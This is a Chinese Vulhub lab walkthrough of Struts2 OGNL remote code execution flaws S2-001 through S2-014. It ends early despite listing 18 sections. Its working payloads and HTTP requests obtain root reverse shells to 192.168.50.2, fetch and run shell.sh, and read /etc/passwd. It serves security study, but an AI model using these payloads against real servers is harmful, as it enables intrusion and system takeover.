Vulhub 漏洞学习之:Strust2
Vulhub 漏洞学习之:Strust2
- Vulhub 漏洞学习之:Strust2
- 1 S2-001 远程代码执行漏洞
- 2 S2-005 远程代码执行漏洞
- 环境
- 3 S2-007 远程代码执行漏洞
- 4 S2-008 远程代码执行漏洞
- 5 S2-009 远程代码执行漏洞
- 6 S2-012 远程代码执行漏洞
- 7 S2-013/S2-014 远程代码执行漏洞
- 8 S2-015 远程代码执行漏洞
- 9 S2-016 远程代码执行漏洞
- 10 S2-032 远程代码执行漏洞(CVE-2016-3081)
- 11 S2-045 远程代码执行漏洞(CVE-2017-5638)
- 12 S2-046 远程代码执行漏洞(CVE-2017-5638)
- 13 S2-048 远程代码执行漏洞
- 14 S2-052 远程代码执行漏洞
- 15 S2-053 远程代码执行漏洞
- 16 S2-057远程执行代码漏洞(CVE-2018-11776)
- 17 Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)
- 18 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)
- 工具
1 S2-001 远程代码执行漏洞
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
1.1 环境安装
docker-compose up -d
- 访问
http://Your-IP:8080
,即可访问目标系统。
1.2 漏洞利用过程
-
对漏洞点进行测试,首先在输入框输入
%{1+1}
测试是否能执行: -
两个输入框都能成功解析证明漏洞存在。
-
尝试获取 Tomcat 执行路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
-
获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
-
执行任意命令:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
- 单命令:
new java.lang.String[]{"pwd"}
- 若存在空格,则写作:
new java.lang.String[]{"cat","/etc/passwd"}
- 单命令:
1.3 GetShell
-
Payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
-
成功反弹shell:
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 47158 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@bd084e8190b1:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@bd084e8190b1:/usr/local/tomcat#
2 S2-005 远程代码执行漏洞
参考吴翰清的《白帽子讲Web安全》一书。
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023
绕过s2对#
的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
环境
2.1 环境安装
执行以下命令启动s2-001测试环境
2.2 漏洞利用过程
-
poc:无回显,空格用
@
代替(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.50.4:8080/example/HelloWorld.action?request_locale=es Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImZjYXJleSIsImV4cCI6MTY4MjUyMTkyMn0.xY9GqGRf9wg_lJTqytq_CdBi12yC5v2rk9UElzIz3Xs; JSESSIONID=81B9385EAB31F6507DC196EDB91AA12D Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1
- 进入容器看:存在
/tmp/success
文件 - 网上一些POC放到tomcat8下会返回400,研究了一下发现字符
\
、"
不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。
- 进入容器看:存在
-
有回显的POC:
POST /example/HelloWorld.action HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0) Host: 192.168.50.4:8080 Content-Length: 666 redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
2.3 GetShell
-
Get请求方式:
|、>
无法使用,转变了思路为先下载payload,再执行。GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22wget@192.168.50.2%2fshell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1
GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22bash@shell.sh%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 43032 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@988d63a9f676:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@988d63a9f676:/usr/local/tomcat#
-
Post请求方式:
POST /example/HelloWorld.action HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0) Host: 192.168.50.4:8080 Content-Length: 666 redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
┌──(root㉿kali)-[~] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 43012 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@988d63a9f676:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@988d63a9f676:/usr/local/tomcat#
3 S2-007 远程代码执行漏洞
影响版本: 2.0.0 - 2.2.3 漏洞详情: http://struts.apache.org/docs/s2-007.html
3.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
3.2 漏洞利用过程
当配置了验证规则 <ActionName>-validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)
然后配置有 UserAction-validation.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'"
然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
执行任意代码的EXP:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
3.3 GetShell
-
在命令执行注入点上注入payload:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}').getInputStream())) + '
POST /user.action;jsessionid=214E75AD26465410FD9285B4F4CF0F7E HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 468 Origin: http://192.168.50.4:8080 Connection: close Referer: http://192.168.50.4:8080/ Cookie: JSESSIONID=214E75AD26465410FD9285B4F4CF0F7E Upgrade-Insecure-Requests: 1 DNT: 1 Sec-GPC: 1 name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 46584 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@c9ab70881cac:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@c9ab70881cac:/usr/local/tomcat#
4 S2-008 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1
漏洞详情: http://struts.apache.org/docs/s2-008.html
4.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
4.2 漏洞利用过程
-
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
-
例如在 devMode 模式下直接添加参数
?debug=command&expression=<OGNL EXP>
,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
4.3 GetShell
-
执行命令反弹shell:
所执行命令需要url编码
GET /devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29) HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.50.4:8080/devmode.action Cookie: JSESSIONID=263482EE6B5B9FCA3FAB9CF0F43B1BBB Upgrade-Insecure-Requests: 1 Sec-GPC: 1 DNT: 1 Pragma: no-cache Cache-Control: no-cache
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 55936 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@a1773bc01fff:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@a1773bc01fff:/usr/local/tomcat#
5 S2-009 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.1.1
漏洞详情: http://struts.apache.org/docs/s2-009.html
5.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
5.2 漏洞利用过程
-
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于
#
号,同样使用编码\u0023
或\43
进行绕过;于是Struts2对s2-005的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。但是,如果当前action中接受了某个参数
example
,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example
参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防御。 -
测试环境是一个struts2的“功能展示”网站
Struts Showcase
,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。先对
S2-009.war
进行解压(我用binwalk,其实直接zip就可以),可见源码都在WEB-INF/src
目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。找到一个
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java
:public class Example5Action extends ActionSupport { private static final long serialVersionUID = 2111967621952300611L; private String name; private Integer age; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } @Override public String execute() throws Exception { return SUCCESS; } }
代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性
this.name
,正是符合我们的要求。然后去WEB-INF/src/java/struts-ajax.xml
看一下URL路由:<package name="ajax" extends="struts-default"> ... <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action"> <result name="input">/ajax/tabbedpanel/example5.jsp</result> <result>/ajax/tabbedpanel/example5Ok.jsp</result> </action> ... </package>
name=example5
,所以访问http://your-ip:8080/ajax/example5.action
即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 Host: localhost:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
- 由于该POC没有回显,所以调用的是
touch /tmp/success
命令,查看/tmp目录发现已经成功:
[root@fcarey s2-009]# docker exec -it s2-009-struts2-1 /bin/bash root@a49998959773:/usr/local/tomcat# ls /tmp/ hsperfdata_root success
- 也可以通过dnslog验证漏洞是否存在:
http://192.168.50.4:8080/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27ping%206niito.dnslog.cn%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
- 黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。
- 由于该POC没有回显,所以调用的是
5.3 GetShell
-
执行命令反弹shell:
所执行命令需要url编码
GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%55%77%4c%6a%49%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1 Host: 192.168.50.4:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=2929717A8926835CDD69831A908F56BD Upgrade-Insecure-Requests: 1 Sec-GPC: 1 DNT: 1 Pragma: no-cache Cache-Control: no-cache
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 50646 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@a49998959773:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root)
6 S2-012 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.13
漏洞详情: http://struts.apache.org/docs/s2-012.html
6.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
6.2 漏洞利用过程
-
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package>
- 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
-
可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
6.3 GetShell
-
Payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
-
成功反弹shell
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 59840 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@7926bcf39653:/usr/local/tomcat# id id uid=0(root) gid=0(root) groups=0(root) root@7926bcf39653:/usr/local/tomcat#
7 S2-013/S2-014 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.1
漏洞详情:
7.1 环境安装
docker-compose up -d
- 安装完成后访问:
http://your-ip:8080/
即可进入测试页面
7.2 漏洞利用过程
-
Struts2 标签中
<s:a>
和<s:url>
都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:- none - 链接不包含请求的任意参数值(默认)
- get - 链接只包含 GET 请求中的参数和其值
- all - 链接包含 GET 和 POST 所有参数和其值
-
<s:a>
用来显示一个超链接,当includeParams=all
的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。任意命令执行POC:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} // 或 ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
- 如:
http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
- 如:
-
S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
7.3 GetShell
-
反弹shell:
